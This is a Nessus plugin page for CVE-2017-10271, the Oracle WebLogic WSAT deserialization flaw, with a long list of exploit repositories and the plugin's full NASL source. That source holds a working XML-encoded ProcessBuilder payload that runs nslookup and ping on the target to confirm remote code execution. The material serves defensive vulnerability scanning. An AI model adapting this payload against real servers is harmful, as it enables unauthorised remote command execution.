Oracle WebLogic WSAT Remote Code Execution - Nessus

High   Plugin ID: 105484

---

This page contains detailed information about the Oracle WebLogic WSAT Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview

---

ID: 105484
Name: Oracle WebLogic WSAT Remote Code Execution
Filename: weblogic_2017_10271.nasl
Vulnerability Published: 2017-10-17
This Plugin Published: 2017-12-28
Last Modification Time: 2022-04-11
Plugin Version: 1.18
Plugin Type: remote
Plugin Family: Web Servers
Dependencies: weblogic_detect.nasl
Required KB Items [?]: www/weblogic

Vulnerability Information

---

Severity: High
Vulnerability Published: 2017-10-17
Patch Published: 2017-10-17
CVE [?]: CVE-2017-10271
CPE [?]: cpe:/a:oracle:weblogic_server
Exploited by Malware: True

Synopsis

The remote Oracle WebLogic server is affected by a remote code execution vulnerability.

Description

The remote Oracle WebLogic server is affected by a remote code execution vulnerability in the WSAT endpoint due to unsafe deserialization of XML encoded Java objects. An unauthenticated, remote attacker can exploit this, via a crafted Java object, to execute arbitrary Java code in the context of the WebLogic server.

Solution

Apply the appropriate patch according to the October 2017 Oracle Critical Patch Update advisory.

Public Exploits

---

Target Network Port(s): 80, 7001
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Oracle WebLogic WSAT Remote Code Execution vulnerability:

1. Metasploit: exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
   [Oracle WebLogic wls-wsat Component Deserialization RCE]
2. Metasploit: exploit/multi/misc/weblogic_deserialize_asyncresponseservice
   [Oracle Weblogic Server Deserialization RCE - AsyncResponseService]
3. Exploit-DB: exploits/multiple/remote/43392.py
   [EDB-43392: Oracle WebLogic Server 10.3.6.0.0 / 12.x - Remote Command Execution]
4. Exploit-DB: exploits/multiple/remote/43458.py
   [EDB-43458: Oracle WebLogic < 10.3.6 - 'wls-wsat' Component Deserialisation Remote Command Execution]
5. Exploit-DB: exploits/multiple/remote/43924.rb
   [EDB-43924: Oracle WebLogic - wls-wsat Component Deserialization Remote Code Execution (Metasploit)]
6. GitHub: https://github.com/0day666/Vulnerability-verification
   [CVE-2017-10271]
7. GitHub: https://github.com/3vikram/Application-Vulnerabilities-Payloads
   [CVE-2017-10271]
8. GitHub: https://github.com/84KaliPleXon3/Payloads_All_The_Things
   [CVE-2017-10271]
9. GitHub: https://github.com/1120362990/vulnerability-list
   [CVE-2017-10271]
10. GitHub: https://github.com/Al1ex/CVE-2017-10271
    [CVE-2017-10271]
11. GitHub: https://github.com/AnonVulc/Pentest-Tools
    [CVE-2017-10271]
12. GitHub: https://github.com/Bywalks/WeblogicScan
    [CVE-2017-10271]
13. GitHub: https://github.com/Delishsploits/PayloadsAndMethodology
    [CVE-2017-10271]
14. GitHub: https://github.com/DynamicDesignz/Alien-Framework
    [CVE-2017-10271]
15. GitHub: https://github.com/Flerov/WindowsExploitDev
    [CVE-2017-10271]
16. GitHub: https://github.com/FoolMitAh/WeblogicScan
    [CVE-2017-10271]
17. GitHub: https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
    [CVE-2017-10271]
18. GitHub: https://github.com/GuynnR/Payloads
    [CVE-2017-10271]
19. GitHub: https://github.com/Jean-Francois-C/Windows-Penetration-Testing
    [CVE-2017-10271]
20. GitHub: https://github.com/Muhammd/Awesome-Payloads
    [CVE-2017-10271]
21. GitHub: https://github.com/ParrotSec-CN/ParrotSecCN_Community_QQbot
    [CVE-2017-10271]
22. GitHub: https://github.com/Prodject/Kn0ck
    [CVE-2017-10271]
23. GitHub: https://github.com/S3cur3Th1sSh1t/Pentest-Tools
    [CVE-2017-10271]
24. GitHub: https://github.com/SecWiki/CMS-Hunter
    [CVE-2017-10271]
25. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2017-10271]
26. GitHub: https://github.com/XPR1M3/Payloads_All_The_Things
    [CVE-2017-10271]
27. GitHub: https://github.com/amcai/myscan
    [CVE-2017-10271]
28. GitHub: https://github.com/andrysec/PayloadsAllVulnerability
    [CVE-2017-10271]
29. GitHub: https://github.com/anhtu97/PayloadAllEverything
    [CVE-2017-10271]
30. GitHub: https://github.com/apkadmin/PayLoadsAll
    [CVE-2017-10271]
31. GitHub: https://github.com/awsassets/weblogic_exploit
    [CVE-2017-10271]
32. GitHub: https://github.com/bigblackhat/oFx
    [CVE-2017-10271]
33. GitHub: https://github.com/chanchalpatra/payload
    [CVE-2017-10271]
34. GitHub: https://github.com/cranelab/exploit-development
    [CVE-2017-10271]
35. GitHub: https://github.com/cross2to/betaseclab_tools
    [CVE-2017-10271]
36. GitHub: https://github.com/diggid4ever/Weblogic-XMLDecoder-POC
    [CVE-2017-10271]
37. GitHub: https://github.com/dr0op/WeblogicScan
    [CVE-2017-10271]
38. GitHub: https://github.com/fengjixuchui/RedTeamer
    [CVE-2017-10271]
39. GitHub: https://github.com/hanc00l/some_pocsuite
    [CVE-2017-10271]
40. GitHub: https://github.com/hktalent/myhktools
    [CVE-2017-10271]
41. GitHub: https://github.com/hmoytx/weblogicscan
    [CVE-2017-10271]
42. GitHub: https://github.com/ianxtianxt/-CVE-2017-10271-
    [CVE-2017-10271: (CVE-2017-10271)Java反序列化漏洞]
43. GitHub: https://github.com/jas502n/CNVD-C-2019-48814
    [CVE-2017-10271]
44. GitHub: https://github.com/jas502n/cve-2019-2618
    [CVE-2017-10271]
45. GitHub: https://github.com/jiangsir404/POC-S
    [CVE-2017-10271]
46. GitHub: https://github.com/jinhaozcp/weblogic
    [CVE-2017-10271]
47. GitHub: https://github.com/jstang9527/gofor
    [CVE-2017-10271]
48. GitHub: https://github.com/kbsec/Weblogic_Wsat_RCE
    [CVE-2017-10271: POC for CVE-2017-10271. Since java.lang.ProcessBuilder was the original vector for ...]
49. GitHub: https://github.com/kingkaki/weblogic-scan
    [CVE-2017-10271]
50. GitHub: https://github.com/koutto/jok3r-pocs
    [CVE-2017-10271]
51. GitHub: https://github.com/lonehand/Oracle-WebLogic-CVE-2017-10271-master
    [CVE-2017-10271]
52. GitHub: https://github.com/lp008/Hack-readme
    [CVE-2017-10271]
53. GitHub: https://github.com/m1dsummer/AD-2021
    [CVE-2017-10271]
54. GitHub: https://github.com/maya6/-scan-
    [CVE-2017-10271]
55. GitHub: https://github.com/mrhacker51/ReverseShellCommands
    [CVE-2017-10271]
56. GitHub: https://github.com/nhwuxiaojun/CVE-2017-10271
    [CVE-2017-10271: Weblogic(CVE-2017-10271)]
57. GitHub: https://github.com/nihaohello/N-MiddlewareScan
    [CVE-2017-10271]
58. GitHub: https://github.com/oneplus-x/Sn1per
    [CVE-2017-10271]
59. GitHub: https://github.com/papa-anniekey/CustomSignatures
    [CVE-2017-10271]
60. GitHub: https://github.com/paralax/awesome-honeypots
    [CVE-2017-10271]
61. GitHub: https://github.com/pimps/CVE-2019-2725
    [CVE-2017-10271]
62. GitHub: https://github.com/pwnagelabs/VEF
    [CVE-2017-10271]
63. GitHub: https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2017-10271.md
    [CVE-2017-10271]
64. GitHub: https://github.com/r0eXpeR/redteam_vul
    [CVE-2017-10271]
65. GitHub: https://github.com/rabbitmask/WeblogicScanLot
    [CVE-2017-10271]
66. GitHub: https://github.com/rambleZzz/weblogic_CVE_2017_10271
    [CVE-2017-10271: weblogic_CVE_2017_10271漏洞批量检测&getshell]
67. GitHub: https://github.com/s0wr0b1ndef/Oracle-WebLogic-WLS-WSAT
    [CVE-2017-10271: Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)]
68. GitHub: https://github.com/safe6Sec/wlsEnv
    [CVE-2017-10271]
69. GitHub: https://github.com/seruling/weblogic-wsat-scan
    [CVE-2017-10271]
70. GitHub: https://github.com/severnake/Pentest-Tools
    [CVE-2017-10271]
71. GitHub: https://github.com/skytina/CNVD-C-2019-48814-COMMON
    [CVE-2017-10271]
72. GitHub: https://github.com/sobinge/PayloadsAllThesobinge
    [CVE-2017-10271]
73. GitHub: https://github.com/sobinge/--1
    [CVE-2017-10271]
74. GitHub: https://github.com/tdcoming/Vulnerability-engine
    [CVE-2017-10271]
75. GitHub: https://github.com/testwc/CVE-2017-10271
    [CVE-2017-10271]
76. GitHub: https://github.com/theyoge/AD-Pentesting-Tools
    [CVE-2017-10271]
77. GitHub: https://github.com/unusualwork/Sn1per
    [CVE-2017-10271]
78. GitHub: https://github.com/veo/vscan
    [CVE-2017-10271]
79. GitHub: https://github.com/zema1/oracle-vuln-crawler
    [CVE-2017-10271]
80. GitHub: https://github.com/0xn0ne/weblogicScanner
    [CVE-2017-10271: weblogic ...]
81. GitHub: https://github.com/1337g/CVE-2017-10271
    [CVE-2017-10271: CVE-2017-10271 WEBLOGIC RCE (TESTED)]
82. GitHub: https://github.com/7kbstorm/WebLogic_CNVD_C2019_48814
    [CVE-2017-10271: WebLogic CNVD-C-2019_48814 CVE-2017-10271 Scan By 7kbstorm]
83. GitHub: https://github.com/bigsizeme/weblogic-XMLDecoder
    [CVE-2017-10271: CVE-2017-10352 CVE-2017-10271 weblogic-XMLDecoder]
84. GitHub: https://github.com/bmcculley/CVE-2017-10271
    [CVE-2017-10271: Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)]
85. GitHub: https://github.com/c0mmand3rOpSec/CVE-2017-10271
    [CVE-2017-10271: WebLogic Exploit]
86. GitHub: https://github.com/cved-sources/cve-2017-10271
    [CVE-2017-10271: Cve-2017-10271]
87. GitHub: https://github.com/Cymmetria/weblogic_honeypot
    [CVE-2017-10271: WebLogic Honeypot is a low interaction honeypot to detect CVE-2017-10271 in the ...]
88. GitHub: https://github.com/ETOCheney/JavaDeserialization
    [CVE-2017-10271: 针对类似CVE-2017-10271漏洞的一个java反序列化漏洞扫描器]
89. GitHub: https://github.com/kkirsche/CVE-2017-10271
    [CVE-2017-10271: Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)]
90. GitHub: https://github.com/Luffin/CVE-2017-10271
    [CVE-2017-10271: CVE-2017-10271 POC]
91. GitHub: https://github.com/peterpeter228/Oracle-WebLogic-CVE-2017-10271
    [CVE-2017-10271: WebLogic wls-wsat RCE CVE-2017-10271]
92. GitHub: https://github.com/pizza-power/weblogic-CVE-2019-2729-POC
    [CVE-2017-10271: Python3 POC for CVE-2019-2729 WebLogic Deserialization Vulnerability and ...]
93. GitHub: https://github.com/pssss/CVE-2017-10271
    [CVE-2017-10271: CVE-2017-10271 Weblogic 漏洞验证Poc及补丁]
94. GitHub: https://github.com/R0B1NL1N/Oracle-WebLogic-WLS-WSAT
    [CVE-2017-10271: Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)]
95. GitHub: https://github.com/s3xy/CVE-2017-10271
    [CVE-2017-10271: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware ...]
96. GitHub: https://github.com/shack2/javaserializetools
    [CVE-2017-10271: Java反序列化漏洞利用工具V1.0 ...]
97. GitHub: https://github.com/SkyBlueEternal/CNVD-C-2019-48814-CNNVD-201904-961
    [CVE-2017-10271: CVE-2019-2725poc汇总 更新绕过CVE-2017-10271补丁POC]
98. GitHub: https://github.com/XHSecurity/Oracle-WebLogic-CVE-2017-10271
    [CVE-2017-10271: Oracle-WebLogic-CVE-2017-10271]
99. GitHub: https://github.com/Yuusuke4/WebLogic_CNVD_C_2019_48814
    [CVE-2017-10271: WebLogic CNVD-C-2019_48814 CVE-2017-10271]
100. GitHub: https://github.com/ZH3FENG/PoCs-Weblogic_2017_10271
     [CVE-2017-10271: Simplified PoC for Weblogic-CVE-2017-10271]
101. GitHub: https://github.com/cjjduck/weblogic_wls_wsat_rce
     [CVE-2017-10271: Forked from https://github.com/s3xy/CVE-2017-10271. Vulnerability in the Oracle ...]
102. GitHub: https://github.com/JackyTsuuuy/weblogic_wls_rce_poc-exp
     [CVE-2017-10271: Cve-2017-10271]
103. GitHub: https://github.com/SuperHacker-liuan/cve-2017-10271-poc
     [CVE-2017-10271: Cve-2017-10271 POC]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

---

CVSS Score Source [?]: CVE-2017-10271
CVSS V2 Vector: AV:N/AC:L/Au:N/C:N/I:N/A:P/E:H/RL:OF/RC:C

CVSS Base Score:	5.0 (Medium)
Impact Subscore:	2.9
Exploitability Subscore:	10.0
CVSS Temporal Score:	4.4 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	4.4 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H/RL:O/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	3.6
Exploitability Subscore:	3.9
CVSS Temporal Score:	7.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.2 (High)

Go back to menu.

Plugin Source

---

This is the weblogic_2017_10271.nasl nessus plugin source code. This script is Copyright (C) 2017-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(105484);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2017-10271");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/08/10");

  script_name(english:"Oracle WebLogic WSAT Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote Oracle WebLogic server is affected by a remote code
execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Oracle WebLogic server is affected by a remote code
execution vulnerability in the WSAT endpoint due to unsafe
deserialization of XML encoded Java objects. An unauthenticated,
remote attacker can exploit this, via a crafted Java object, 
to execute arbitrary Java code in the context of the WebLogic
server.");
  # https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html#AppendixFMW
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b680917f");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch according to the October 2017 Oracle
Critical Patch Update advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-10271");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle WebLogic wls-wsat Component Deserialization RCE');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/10/17");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/10/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/28");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:weblogic_server");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2017-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("weblogic_detect.nasl");
  script_require_keys("www/weblogic");
  script_require_ports("Services/www", 80, 7001);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

appname = "Oracle WebLogic Server";

get_kb_item_or_exit("www/weblogic");
port = get_http_port(default:7001, embedded:FALSE);
get_kb_item_or_exit("www/weblogic/" + port + "/installed");

# establish if WSAT is enabled. If it isn't then we don't
# need to proceed any futher
res = http_send_recv3(
  method:'GET',
  item:'/wls-wsat/CoordinatorPortType',
  port:port,
  exit_on_fail:TRUE);
if (empty_or_null(res) || '404' >< res[0])
{
  audit(AUDIT_INST_VER_NOT_VULN, appname);
}

# generate a unique pattern for each execution. unixtime() is not
# granular enough since there may be many installs and this script
# could be running in parallel
pattern = hexstr(rand_str(length:8));

# create the HTTP request that will execute the DNS lookup. We'll try to execute
# via both cmd and sh since we have no real insight into the remote OS.
# Because some minimal Linux installs don't include nslookup, we'll also fallback
# on using ping if necessary... although I think that is mostly paranoia.
ns_lookup = 'nslookup weblogic-2017-10271-' + pattern + ' ' + compat::this_host();
xml_encoded_java =
'<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">' +
  '<soapenv:Header>' +
    '<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">' +
      '<java>' +
        '<void class="java.lang.ProcessBuilder">' +
          '<array class="java.lang.String" length="3" >' +
            '<void index="0">' +
              '<string>cmd.exe</string>' +
            '</void>' +
            '<void index="1">' +
              '<string>/c</string>' +
            '</void>' +
            '<void index="2">' +
              '<string>' + ns_lookup + '</string>' +
            '</void>' +
          '</array>' +
          '<void method="start"/>' +
        '</void>' +
        '<void class="java.lang.ProcessBuilder">' +
          '<array class="java.lang.String" length="3" >' +
            '<void index="0">' +
              '<string>/bin/sh</string>' +
            '</void>' +
            '<void index="1">' +
              '<string>-c</string>' +
            '</void>' +
            '<void index="2">' +
              '<string>' + ns_lookup + '</string>' +
            '</void>' +
          '</array>' +
          '<void method="start"/>' +
        '</void>' +
        '<void class="java.lang.ProcessBuilder">' +
          '<array class="java.lang.String" length="3" >' +
            '<void index="0">' +
              '<string>/bin/sh</string>' +
            '</void>' +
            '<void index="1">' +
              '<string>-c</string>' +
            '</void>' +
            '<void index="2">' +
              '<string>ping -c 10 -p ' + pattern + ' ' + compat::this_host() + '</string>' +
            '</void>' +
          '</array>' +
          '<void method="start"/>' +
        '</void>' +
      '</java>' +
    '</work:WorkContext>' +
    '</soapenv:Header>' +
  '<soapenv:Body/>' +
'</soapenv:Envelope>';
request =
  'POST /wls-wsat/CoordinatorPortType HTTP/1.1\r\n' +
  'Host: ' + get_host_ip() + ':' + port + '\r\n' +
  'Content-Type: text/xml\r\n' +
  'Content-Length: ' + len(xml_encoded_java) + '\r\n' +
  '\r\n' +
  xml_encoded_java;

soc = open_sock_tcp(port);
if (!soc)
{
  audit(AUDIT_SOCK_FAIL, port, appname);
}

filter = "(ip and udp and port 53 and src host " + get_host_ip() + ") or (icmp and icmp[0] = 8 and src host " + get_host_ip() + ")";
response = send_capture(socket:soc, data:request, pcap_filter:filter);
close(soc);

if (empty_or_null(response))
{
  # looks like we didn't execute anything on the host
  audit(AUDIT_INST_VER_NOT_VULN, appname);
}

# We can directly search the DNS response
if (pattern >!< response)
{
  # maybe this is an ICMP response?
  icmp_data = tolower(hexstr(get_icmp_element(icmp:response, element:"data")));
  if (empty_or_null(icmp_data))
  {
    audit(AUDIT_INST_VER_NOT_VULN, appname);
  }

  if (pattern >!< icmp_data)
  {
    # couldn't find the pattern in the ICMP data
    audit(AUDIT_INST_VER_NOT_VULN, appname);
  } 
}

report =
  '\nNessus was able to exploit a Java deserialization vulnerability by' +
  '\nsending a crafted Java object.' +
  '\n';
security_report_v4(port:port, severity:SECURITY_WARNING, extra:report);

The latest version of this script can be found in these locations depending on your platform:

• Linux / Unix:
  /opt/nessus/lib/nessus/plugins/weblogic_2017_10271.nasl
• Windows:
  C:\ProgramData\Tenable\Nessus\nessus\plugins\weblogic_2017_10271.nasl
• Mac OS X:
  /Library/Nessus/run/lib/nessus/plugins/weblogic_2017_10271.nasl

Go back to menu.

How to Run

---

Here is how to run the Oracle WebLogic WSAT Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

1. Click to start a New Scan.
2. Select Advanced Scan.
3. Navigate to the Plugins tab.
4. On the top right corner click to Disable All plugins.
5. On the left side table select Web Servers plugin family.
6. On the right side table select Oracle WebLogic WSAT Remote Code Execution plugin ID 105484.
7. Specify the target on the Settings tab and click to Save the scan.
8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl weblogic_2017_10271.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a weblogic_2017_10271.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - weblogic_2017_10271.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state weblogic_2017_10271.nasl -t <IP/HOST>

Go back to menu.

References

---

See also:

• https://www.tenable.com/plugins/nessus/105484
• http://www.nessus.org/u?b680917f
• https://vulners.com/nessus/WEBLOGIC_2017_10271.NASL

Similar and related Nessus plugins:

• 103935 - Oracle WebLogic Server Multiple Vulnerabilities (October 2017 CPU)
• 87011 - Oracle WebLogic Java Object Deserialization RCE
• 90709 - Oracle WebLogic Server Java Object Deserialization RCE (April 2016 CPU)
• 92606 - Oracle WebLogic Server Java Object Deserialization RCE (July 2016 CPU)
• 96803 - Oracle WebLogic Java Object RMI Connect-Back Deserialization RCE (January 2017 CPU)
• 124338 - Oracle WebLogic WLS9-async Remote Code Execution (remote check)
• 57040 - Oracle WebLogic Server Web Services Security Policy not Enforced (CVE-2008-5459)
• 17742 - Oracle WebLogic JSP Pages and Servlets Unspecified Information Disclosure (CVE-2008-5460)
• 17743 - Oracle WebLogic WLS Unspecified Vulnerability (CVE-2008-5461)
• 109429 - Oracle WebLogic Server Deserialization RCE (CVE-2018-2628)
• 111665 - Oracle WebLogic Server Deserialization RCE (CVE-2018-2893)
• 126262 - Oracle WebLogic Server Deserialization RCE (CVE-2019-2729)
• 34781 - Oracle WebLogic Server mod_wl Invalid Parameter Remote Overflow (1150354)
• 33932 - Oracle WebLogic Server mod_wl POST Request Remote Overflow
• 35374 - Oracle WebLogic Server Plug-in Remote Overflow (1166189)
• 17771 - Oracle WebLogic Portal Elevation of Privilege (CVE-2008-5462)
• 52756 - Oracle WebLogic Server Servlet Container Session Fixation
• 80304 - Allegro RomPager HTTP Cookie Management Remote Code Execution Vulnerability (Misfortune Cookie)
• 80228 - Allegro RomPager HTTP Cookie Management Remote Code Execution Vulnerability (Misfortune Cookie)
• 156164 - Apache Log4Shell CVE-2021-45046 Bypass Remote Code Execution
• 148239 - Apache OFBiz Remote Code Execution (CVE-2021-26295)
• 40353 - DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution
• 146861 - Liferay Portal Remote Code Execution (direct check)
• 142137 - Nostromo < 1.9.7 Remote Code Execution
• 136770 - Apache Tomcat 7.0.0 < 7.0.104 Remote Code Execution
• 124064 - Apache Tomcat 7.0.0 < 7.0.94 Remote Code Execution Vulnerability (Windows)
• 124063 - Apache Tomcat 8.5.0 < 8.5.40 Remote Code Execution Vulnerability (Windows)
• 136807 - Apache Tomcat 8.5.x < 8.5.55 Remote Code Execution
• 124058 - Apache Tomcat 9.0.0.M1 < 9.0.19 Remote Code Execution Vulnerability (Windows)
• 136806 - Apache Tomcat 9.0.0 < 9.0.35 Remote Code Execution
• 133270 - IBM WebSphere Application Server 7.0.0.x <= 7.0.0.45 / 8.0.0.x <= 8.0.0.15 / 8.5.x < 8.5.5.15 / 9.0.0.x < 9.0.0.10 Remote Code Execution (CVE-2018-1567)
• 125630 - IBM WebSphere Application Server Virtual Enterprise 7.0.x / Network Deployment 8.5.x < 8.5.5.16 / Network Deployment 9.0.0.x <= 9.0.0.11 Remote Code Execution Vulnerability (CVE-2019-4279)
• 137398 - IBM WebSphere Application Server 7.0.0.x <= 7.0.0.45 / 8.0.0.x <= 8.0.0.15 / 8.5.x < 8.5.5.18 / 9.0.x < 9.0.5.4 Remote Code Execution (CVE-2020-4448)

Version

---

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file weblogic_2017_10271.nasl version 1.18. For more plugins, visit the Nessus Plugin Library.

Go back to menu.